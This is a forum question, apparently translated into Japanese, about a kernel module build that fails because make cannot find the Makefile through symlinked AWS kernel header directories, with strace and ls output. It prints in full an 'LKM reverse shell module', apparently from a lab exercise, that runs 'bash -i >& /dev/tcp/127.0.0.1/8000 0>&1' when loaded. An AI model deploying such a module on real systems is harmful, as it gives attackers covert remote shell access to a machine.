リバースシェルを生成する単純なカーネルモジュールがあります。
私はMakefileを次のようにしました。
cat << EOF > Makefile
obj-m +=${module_name}.o
all:
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
clean:
make -C /lib/modules/$(uname -r)/build M=$(pwd) clean
EOF
makeただし、コマンドを実行すると失敗します。
root@ubuntu:~/moduletest# make
make -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-1045-aws'
make[1]: Makefile: No such file or directory
make[1]: *** No rule to make target 'Makefile'. Stop.
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-1045-aws'
Makefile:3: recipe for target 'all' failed
make: *** [all] Error 2
フォルダを確認しました。
/lib/modules/5.4.0-1045-aws/build
しかし、他のシンボリックリンクを参照するシンボリックリンクのようです。
/lib/modules/5.4.0-1045-aws/build -> /usr/src/linux-headers-5.4.0-1045-aws -> ../linux-aws-headers-5.4.0-1045/Makefile
最後のファイル../linux-aws-headers-5.4.0-1045/Makefileは次のとおりです。
/usr/src/linux-aws-5.4-headers-5.4.0-1045/Makefile
makeコマンドがこれらのリンクにアクセスできないのはなぜですか？
リソース：
私のカーネルモジュール：
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/8000 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init bobo_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit bobo_exit(void) {
}
module_init(bobo_init);
module_exit(bobo_exit);
変数を作成した後、私のMakefile：
obj-m +=bobo.o
all:
make -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev modules
clean:
make -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev clean
Straceによるデバッグ：
テストを実行します。
strace -f -yy -q -e trace=%file -o make.strace make
検索したが見つからなかったログは次のとおりです。
15770 getcwd("/home/ubuntu/moduletest", 4096) = 24
15770 chdir("/lib/modules/5.4.0-1045-aws/build") = 0
15770 stat("/usr/include", {st_mode=S_IFDIR|0755, st_size=16384, ...}) = 0
15770 stat("/usr/gnu/include", 0x7ffc9d9319c0) = -1 ENOENT (No such file or directory)
15770 stat("/usr/local/include", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
15770 stat("/usr/include", {st_mode=S_IFDIR|0755, st_size=16384, ...}) = 0
15770 getcwd("/usr/src/linux-headers-5.4.0-1045-aws", 4096) = 38
15770 stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
15770 openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3</usr/src/linux-headers-5.4.0-1045-aws>
15770 openat(AT_FDCWD, "Makefile", O_RDONLY) = -1 ENOENT (No such file or directory)
デバッグするには、Strace -vを使用してください。
16954 getcwd("/home/ubuntu/moduletest", 4096) = 24
16954 chdir("/lib/modules/5.4.0-1045-aws/build") = 0
16954 stat("/usr/include", {st_dev=makedev(202, 1), st_ino=4731, st_mode=S_IFDIR|0755, st_nlink=33, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=16384, st_atime=1578850669 /* 2020-01-12T17:37:49.317948774+0000 */, st_atime_nsec=317948774, st_mtime=1611729632 /* 2021-01-27T06:40:32.734597829+0000 */, st_mtime_nsec=734597829, st_ctime=1611729632 /* 2021-01-27T06:40:32.734597829+0000 */, st_ctime_nsec=734597829}) = 0
16954 stat("/usr/gnu/include", 0x7ffeeaeac360) = -1 ENOENT (No such file or directory)
16954 stat("/usr/local/include", {st_dev=makedev(202, 1), st_ino=80156, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=1578850475 /* 2020-01-12T17:34:35.054101307+0000 */, st_atime_nsec=54101307, st_mtime=1578850402 /* 2020-01-12T17:33:22.535948295+0000 */, st_mtime_nsec=535948295, st_ctime=1578850748 /* 2020-01-12T17:39:08.492615551+0000 */, st_ctime_nsec=492615551}) = 0
16954 stat("/usr/include", {st_dev=makedev(202, 1), st_ino=4731, st_mode=S_IFDIR|0755, st_nlink=33, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=16384, st_atime=1578850669 /* 2020-01-12T17:37:49.317948774+0000 */, st_atime_nsec=317948774, st_mtime=1611729632 /* 2021-01-27T06:40:32.734597829+0000 */, st_mtime_nsec=734597829, st_ctime=1611729632 /* 2021-01-27T06:40:32.734597829+0000 */, st_ctime_nsec=734597829}) = 0
16954 getcwd("/usr/src/linux-headers-5.4.0-1045-aws", 4096) = 38
16954 stat(".", {st_dev=makedev(202, 1), st_ino=1117295, st_mode=S_IFDIR|0755, st_nlink=7, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=1644324103 /* 2022-02-08T12:41:43.401883198+0000 */, st_atime_nsec=401883198, st_mtime=1644226137 /* 2022-02-07T09:28:57.297502175+0000 */, st_mtime_nsec=297502175, st_ctime=1644226137 /* 2022-02-07T09:28:57.297502175+0000 */, st_ctime_nsec=297502175}) = 0
16954 openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3</usr/src/linux-headers-5.4.0-1045-aws>
16954 openat(AT_FDCWD, "Makefile", O_RDONLY) = -1 ENOENT (No such file or directory)
16954 openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
私は走る:
root@ubuntu:~/moduletest# ls -ldi /usr/src/linux-headers-5.4.0-1045-aws/Makefile
1147184 lrwxrwxrwx 1 root root 40 Apr 13 2021 /usr/src/linux-headers-5.4.0-1045-aws/Makefile -> ../linux-aws-headers-5.4.0-1045/Makefile
root@ubuntu:~# ls -ldi /usr/src/linux-headers-5.4.0-1045-aws
1117295 drwxr-xr-x 7 root root 4096 Feb 7 09:28 /usr/src/linux-headers-5.4.0-1045-aws
root@ubuntu:~/moduletest# cat make.strace | grep 7295
16954 stat(".", {st_dev=makedev(202, 1), st_ino=1117295, st_mode=S_IFDIR|0755, st_nlink=7, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=1644324103 /* 2022-02-08T12:41:43.401883198+0000 */, st_atime_nsec=401883198, st_mtime=1644226137 /* 2022-02-07T09:28:57.297502175+0000 */, st_mtime_nsec=297502175, st_ctime=1644226137 /* 2022-02-07T09:28:57.297502175+0000 */, st_ctime_nsec=297502175}) = 0
root@ip-172-31-23-181:~/moduletest#